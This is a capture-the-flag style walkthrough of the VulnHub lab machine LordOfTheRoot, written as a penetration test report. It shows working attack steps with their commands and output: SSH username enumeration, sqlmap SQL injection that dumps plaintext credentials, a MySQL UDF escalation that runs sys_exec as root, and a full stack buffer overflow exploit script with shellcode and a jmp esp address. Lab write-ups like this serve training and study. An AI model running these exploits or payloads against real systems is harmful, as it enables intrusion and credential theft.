Penetration Test Report
LordOfTheRoot is a vulnerable machine from VulnHub and can be downloaded from here
RECON
I began the recon phase with running nmap tcp scans against the target 192.168.1.17
Command used:
nmap -A -sT -sV -p 22 192.168.1.17
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (EdDSA)
MAC Address: 08:00:27:B0:80:E8 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8, Linux 3.16 - 4.6, Linux 3.2 - 4.8, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SERVICE ENUMERATION
Phase 1: SSH port 22
I began with port 22 with some confidence that I might have had found a username already. When I fired up the target VM it gave me this login screen and a logged in user
I then started searching for any script that could let me check if this username was a worth to go after or a red herring. I then found the following script that performs a timing attack on SSH service to check whether the specified username exists or not.
Script: ouseta.py
download
Command used:
python osueta.py -H 192.168.1.17 -p 22 -U smeagol -v yes
I then wanted to give this username in SSH a try
Interestingly, eventhough I didnt have a password, I saw a hint, on and just below the SSH welcome banner. That made sense to me that I needed to perform a port knocking on the ports 1,2 and 3
Command used:
nmap -r -Pn -p 1,2,3 192.168.1.15
PORT STATE SERVICE
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:B0:80:E8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
Then I ran a full scan to check if any new ports were open and yes a new port 1337 was open running Apache
Command used:
nmap -Pn -sT -A -p 1-65535 192.168.1.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
| 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_ 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (EdDSA)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:B0:80:E8 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8, Linux 3.16 - 4.6, Linux 3.2 - 4.8, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Phase 2: HTTP port 1337
I began the web attack phase with running nikto against the target
Command used:
nikto -h http://192.168.1.17:1337
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x40 0x51ffd65196807
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1:1337/images/".
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7537 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2018-04-18 19:24:27 (GMT7) (37 seconds)
Viewing any 404 page gives me the following pic
when checked the source code I found this
Decoding the above code gave me
Decoding it further gave me
Typing in the above address along with the target url gave me
At this point I wanted to try attacking via SQL injection suspecting the login page might be vulnerable to it. The tool I decided to go with was SQLMAP and to use it I must find the POST login parameter values. Hence I chose the tool BURPSUITE and caught the POST login parameters
Quick Enumeration of DB
From here on I used SQLMAP step by step to reach the table with user credentials
Command used:
sqlmap -u http://10.0.2.6:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --dbs --tamper=space2comment --level 5
Command used:
sqlmap -u http://10.0.2.6:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --tables -D Webapp --level 5
Command used:
sqlmap -u http://10.0.2.6:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --columns -T Users -D Webapp --level 5
Command used:
sqlmap -u http://10.0.2.6:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --dump -T Users -D Webapp --level 5
Database: Webapp
Table: Users
[5 entries]
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | frodo | iwilltakethering |
| 2 | smeagol | MyPreciousR00t |
| 3 | aragorn | AndMySword |
| 4 | legolas | AndMyBow |
| 5 | gimli | AndMyAxe |
+----+----------+------------------+
EXPLOITATION
I then used smeagol’s creds from above and logged into SSH
Quick Enumeration and Privilege Escalation 1: (going directly for the kernet exploit)
1) I used searchsploit to find an exploit for Linux 14.04 Command used:
searchsploit linux 14.04
2) Compiled and ran gave me root shell
Strict Enumeration of DB and Privilege Escalation 2:
Command used:
sqlmap -u http://10.0.2.8:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --tables -D mysql --level 5
Database: mysql
[24 tables]
+---------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------+
Command used:
sqlmap -u http://10.0.2.8:1337/978345210/index.php --data="username=test&password=test&submit=+Login+" --dump -T user -D mysql --level 5
I used an online service called crackstation.net to crack the hashes.
The password for user root in Mysql is darkshadow
Checking for the MYSQL version to see what vulnerabilities I could exploit
smeagol@LordOfTheRoot:/SECRET/door3$ mysql --version
mysql Ver 14.14 Distrib 5.5.44, for debian-linux-gnu (i686) using readline 6.3
I used this exploit first THIS but I wasnt getting the “.so” file out and right in the exploit page there was an edb note to visit this page https://github.com/mysqludf/lib_mysqludf_sys and I copied the “.so” file to home folder and followed the steps from the main exploit page
Apparently “do_system” library was not found hence replaced with “sys_exec”
smeagol@LordOfTheRoot:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 39
Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)
mysql> insert into foo values(load_file('/home/smeagol/lib_mysqludf_sys.so'));
Query OK, 1 row affected (0.00 sec)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
Query OK, 1 row affected (0.00 sec)
mysql> create function do_system returns integer soname 'lib_mysqludf_sys.so';
ERROR 1127 (HY000): Can't find symbol 'do_system' in library
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func;
+----------+-----+---------------------+----------+
| name | ret | dl | type |
+----------+-----+---------------------+----------+
| sys_exec | 2 | lib_mysqludf_sys.so | function |
+----------+-----+---------------------+----------+
1 row in set (0.00 sec)
mysql> select sys_exec('id > /tmp/out; chmod 777 /tmp/out');
+-----------------------------------------------+
| sys_exec('id > /tmp/out; chmod 777 /tmp/out') |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> \! cat /tmp/out
uid=0(root) gid=0(root) groups=0(root)
mysql> select sys_exec('cat /root/Flag.txt > /tmp/out; chmod 777 /tmp/out');
+---------------------------------------------------------------+
| sys_exec('cat /root/Flag.txt > /tmp/out; chmod 777 /tmp/out') |
+---------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------+
1 row in set (0.33 sec)
mysql> \! cat /tmp/out
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf
mysql>
Proof of root:
Strict Enumeration of vulnerable SUID/SGID binaries and Privilege Escalation 3:
I uploaded linuxprivchecker.py script and found these 3 binaries
I created a Py script to crash the binary aka Fuzzing
Fuzzing py script
#!/usr/bin/env python
import os
buf=['A']
counter=0
# we are creating an array A's by a incrementing A's and adding it to the buf variable. Finally the counter will have 1000 A's
while len(buf) <= 100:
buf.append('A'*counter)
counter += 10
#print len(buf)
for hit in buf:
print "Hitting %s of A(s) " %len(hit)
os.system("./file "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
#print ''.join(hit)
or Bash one-liner
smeagol@LordOfTheRoot:/SECRET$ for i in 1 2 3; do echo $i;./door$i/file $(python -c 'print "A"*500');done
1
Segmentation fault (core dumped)
2
3
The file under door2 is vulnerable to buffer overflow. As we can see somewhere after 170 A’s the buffer overflow occurs which is followed by the “Segmentation fault” message
Before I proceeded further I checked for protections in the kernel
sysctl -a | grep rand
and yes ALSR is turned on another way to check the above
cat /prcat /proc/sys/kernel/randomize_va_spaceoc/sys/kernel/randomize_va_space
Note: echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
can be used to disable ASLR but sudo is not on our side hence we’ll have to bypass it
One more thing I found out that there is only one vulnerable file and 2 decoys. Seems like there is a program that switches the vulnerable file randomly between door1, door2 and door 3. For example if you see below I fuzzed the file under the door3 and after a while it disappeared. Thats why if you see below I copied the file, while it was under door3 to /tmp folder
By changing the value of counter in the above python program we can pin point the exact offset where the crash occurs, which is at 171
My next step was to clone(git was already installed) PEDA into the target for exploit development. We could do this in our local machine as well.
EXPLOIT DEVELOPMENT
smeagol@LordOfTheRoot:/SECRET/door3$ git clone https://github.com/longld/peda.git ~/peda
Cloning into '/home/smeagol/peda'...
remote: Counting objects: 343, done.
remote: Compressing objects: 100% (5/5), done.
Receiving objects: 100% (343/343), 308.78 KiB | 188.00 KiB/s, done.
remote: Total 343 (delta 2), reused 6 (delta 2), pack-reused 336
Resolving deltas: 100% (214/214), done.
Checking connectivity... done.
smeagol@LordOfTheRoot:/SECRET/door3$ echo "source ~/peda/peda.py" >> ~/.gdbinit
smeagol@LordOfTheRoot:/SECRET/door3$
Refer this Link
I used ldd and LD_TRACE_LOADED_OBJECTS=1 command to check the shared libraries of SUID “file” and everytime I run it showed different location and this is due to the ASLR being on
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0xb7787000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c0000)
/lib/ld-linux.so.2 (0xb7789000)
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0xb77dd000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7616000)
/lib/ld-linux.so.2 (0xb77df000)
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0xb76e8000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7521000)
/lib/ld-linux.so.2 (0xb76ea000)
smeagol@LordOfTheRoot:/tmp$ ldd /bin/bash
linux-gate.so.1 => (0xb7708000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xb76ce000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb76c9000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751a000)
/lib/ld-linux.so.2 (0xb770a000)
smeagol@LordOfTheRoot:/tmp$ ldd /bin/bash
linux-gate.so.1 => (0xb7712000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xb76d8000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb76d3000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7524000)
/lib/ld-linux.so.2 (0xb7714000)
smeagol@LordOfTheRoot:/tmp$ ldd /bin/bash
linux-gate.so.1 => (0xb7772000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xb7738000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb7733000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
/lib/ld-linux.so.2 (0xb7774000)
smeagol@LordOfTheRoot:/tmp$ LD_TRACE_LOADED_OBJECTS=1 file
linux-gate.so.1 => (0xb7799000)
libmagic.so.1 => /usr/lib/i386-linux-gnu/libmagic.so.1 (0xb7763000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b5000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xb759a000)
/lib/ld-linux.so.2 (0xb779b000)
smeagol@LordOfTheRoot:/tmp$ LD_TRACE_LOADED_OBJECTS=1 file
linux-gate.so.1 => (0xb77b6000)
libmagic.so.1 => /usr/lib/i386-linux-gnu/libmagic.so.1 (0xb7780000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d2000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xb75b7000)
/lib/ld-linux.so.2 (0xb77b8000)
smeagol@LordOfTheRoot:/tmp$
Here I used the link below while researching to find a way to increase the stack size to avoid randomization. Refer this Link
The stack size here is 8192 which is restricted now if we give unlimited size we can pin the locations of the shared libraries without randomizing. Proof given below
smeagol@LordOfTheRoot:/tmp$ ulimit -s unlimited
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0x40024000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003d000)
/lib/ld-linux.so.2 (0x40000000)
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0x40024000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003d000)
/lib/ld-linux.so.2 (0x40000000)
smeagol@LordOfTheRoot:/tmp$ ldd file
linux-gate.so.1 => (0x40024000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x4003d000)
/lib/ld-linux.so.2 (0x40000000)
smeagol@LordOfTheRoot:/tmp$
Next I run the binary “file” via GDB-PEDA to analyze the stack and registers
smeagol@LordOfTheRoot:/tmp$ gdb file
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from file...(no debugging symbols found)...done.
gdb-peda$ pattern_arg 500
Set 1 arguments to program
gdb-peda$ run
Starting program: /tmp/file 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x401e6000 --> 0x1a9da8
ECX: 0xbffff8c0 ("sgAs6A")
EDX: 0xbffff63f ("sgAs6A")
ESI: 0x0
EDI: 0x0
EBP: 0x41415641 ('AVAA')
ESP: 0xbffff500 ("AAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%"...)
EIP: 0x57414174 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5741416e: add BYTE PTR [eax],al
0x57414170: add BYTE PTR [eax],al
0x57414172: add BYTE PTR [eax],al
=> 0x57414174: add BYTE PTR [eax],al
0x57414176: add BYTE PTR [eax],al
0x57414178: add BYTE PTR [eax],al
0x5741417a: add BYTE PTR [eax],al
0x5741417c: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff500 ("AAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%"...)
0004| 0xbffff504 ("AXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%u"...)
0008| 0xbffff508 ("vAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA"...)
0012| 0xbffff50c ("AAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%"...)
0016| 0xbffff510 ("AZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%w"...)
0020| 0xbffff514 ("xAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA"...)
0024| 0xbffff518 ("AAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%"...)
0028| 0xbffff51c ("%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%z"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x57414174 in ?? ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
EBP+0 found at offset: 167
EIP+0 found at offset: 171
Registers point to pattern buffer:
[EDX] --> offset 494 - size ~6
[ESP] --> offset 175 - size ~203
[ECX] --> offset 494 - size ~6
Pattern buffer found at:
0xbffff451 : offset 0 - size 500 ($sp + -0xaf [-44 dwords])
0xbffff6d2 : offset 0 - size 500 ($sp + 0x1d2 [116 dwords])
Killed
smeagol@LordOfTheRoot:/tmp$
From the above result we focus on EIP register which holds the offset 171 modified fuzz script as below Note: As I knew the offset for crashing the binary is at 171 then EIP will point at the next 4 bytes of the memory space after the offset 171. So I used ‘B’x4 confidently and the rest filled with C’s
#!/usr/bin/env python
import os
exp='A'*171 + 'B'*4 + 'C'*(500-171-4)
os.system("gdb --args file "+exp)
###Fuzz Script Below###
#buf=['A']
#counter=1
# we are creating an array A's by a incrementing A's and adding it to the buf variable
#while len(buf) <= 20:
# buf.append('A'*counter)
# counter += 10
#print len(buf)
#for hit in buf:
# print "Hitting %s of A(s) " %len(hit)
# os.system("./file "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
#print ''.join(hit)
Once I ran the fuzz.py file, it opened gdb-peda(check the python script above) and from there I just had to type “run” to execute exploit script
smeagol@LordOfTheRoot:/tmp$ python /home/smeagol/fuzz.py
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from file...(no debugging symbols found)...done.
gdb-peda$ run
Starting program: /tmp/file AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x401e6000 --> 0x1a9da8
ECX: 0xbffff8c0 --> 0x434343 ('CCC')
EDX: 0xbffff642 --> 0x434343 ('CCC')
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff500 ('C' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff500 ('C' <repeats 200 times>...)
0004| 0xbffff504 ('C' <repeats 200 times>...)
0008| 0xbffff508 ('C' <repeats 200 times>...)
0012| 0xbffff50c ('C' <repeats 200 times>...)
0016| 0xbffff510 ('C' <repeats 200 times>...)
0020| 0xbffff514 ('C' <repeats 200 times>...)
0024| 0xbffff518 ('C' <repeats 200 times>...)
0028| 0xbffff51c ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
From the above result we infer that EIP is controlled with 4 B’s and ESP is filled with C’s
Creating shellcode from within gdb-peda
gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
Now to find jmp esp
gdb-peda$ jmpcall esp
Not found
gdb-peda$ jmpcall esp libc
0x4003ea85 : jmp esp
...snipped...
instruction to address format: \x85\xea\x03\x40 (remove the 0x and write in reverse order with “\x” as prefix
Pre final exploit. I tested this script on the vulnerable file in “/tmp” folder
#!/usr/bin/env python
import os
jmp="\x85\xea\x03\x40"
#24 bytes shellcode
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
exp='A'*171 + jmp + "\x90"*10 + shellcode + 'C'*(500-171-4-10-len(shellcode))
#os.system("./file "+exp)
os.system("gdb --args file "+exp)
###Fuzz Script Below###
#buf=['A']
#counter=1
# we are creating an array A's by a incrementing A's and adding it to the buf variable
#while len(buf) <= 20:
# buf.append('A'*counter)
# counter += 10
#print len(buf)
#for hit in buf:
# print "Hitting %s of A(s) " %len(hit)
# os.system("./file "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
#print ''.join(hit)
As you can see below it gave me a shell. Since this was not the actual SUID binary I got a same limited privilege shell and this confirms that when I run this against the real SUID binary I will be granted root prompt
Final Exploit and execution leading to root as follows:
#!/usr/bin/env python
import os
jmp="\x85\xea\x03\x40"
#24 bytes shellcode
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
exp='A'*171 + jmp + "\x90"*10 + shellcode + 'C'*(500-171-4-10-len(shellcode))
os.system("./file "+exp)
#os.system("gdb --args file "+exp)
###Fuzz Script Below###
#buf=['A']
#counter=1
# we are creating an array A's by a incrementing A's and adding it to the buf variable
#while len(buf) <= 20:
# buf.append('A'*counter)
# counter += 10
#print len(buf)
#for hit in buf:
# print "Hitting %s of A(s) " %len(hit)
# os.system("./file "+''.join(hit))# notice theres a space after ./file and thats were the input string goes
#print ''.join(hit)
Found three 2 C programs and a python script
cat buf.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buff[159];
if(argc <2){
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
return 0;
}
cat other.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char buff[150];
if(argc <2){
printf("Syntax: %s <input string>\n", argv[0]);
exit (0);
}
//This Program does nothing
return 0;
}
cat switcher.py
#!/usr/bin/python
import os
from random import randint
targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
os.system("rm "+t+"*")
os.system("cp -p other "+t)
os.system("cp -p "+t+"other "+t+"file")
os.system("rm "+t+"other")
luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")